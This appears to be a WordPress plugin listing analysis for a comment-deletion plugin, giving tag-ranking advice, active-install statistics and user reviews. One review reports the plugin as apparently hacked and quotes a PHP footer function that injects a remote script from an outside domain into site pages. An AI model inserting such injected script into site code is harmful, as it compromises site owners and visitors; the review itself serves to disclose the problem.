Biggest opportunity: Swap “comment” and “comments” for “remove comments” and “delete”. “comment” isn't earning its slot: you're not in the first 24 results for its own search. “remove comments” sits at #9 untagged, close enough for a declared tag to move it up. “comments” isn't earning its slot: it only gets you to #17. “delete” sits at #10 untagged, close enough for a declared tag to move it up. All five slots are taken, so one has to go.

of downloads still active
At least 5K of 111.8K lifetime downloads are still running, above its category: the median Uncategorized plugin keeps 0.6%, across 17,772 plugins.
Downloads count every update, not just first installs, so older and more frequently released plugins read lower. Compare against other Uncategorized plugins, not across the directory. wp.org reports active installs as the bottom of a band, so the real rate is this or higher.
This plugin shipped 1 release in the last 12 months, and every existing install that updated counted as another download. wp.org publishes no split between first installs and updates, so we show the raw rate rather than guess at one.

What to do about it
- Swap “comment” and “comments” for “remove comments” and “delete”. “comment” isn't earning its slot: you're not in the first 24 results for its own search. “remove comments” sits at #9 untagged, close enough for a declared tag to move it up. “comments” isn't earning its slot: it only gets you to #17. “delete” sits at #10 untagged, close enough for a declared tag to move it up. All five slots are taken, so one has to go.

Love this plugin. After installing other more “complex” ones, this did the job in like 5 seconds. I cannot understand why WP can’t design something this simple (I don’t mean the making of the plugin, but the purpose). THANKS!! This topic was modified 2 months ago by imesexac.

This plugin might be hacked or it is shady on way or another because it have started to slow down wordpress when including a an inclusion of javascript located at: alishahalom.com function dac_footer_handler() { echo ‘<script src=”//alishahalom.com/files/script.js”></script>’; }

One of my web sites was always getting cluttered with weird spam like they were talking to each other through my comments section and adding tons of links. I tried many different things to erase the crap. Eventually, I had 3300+. This wiped them out! Clean slate!
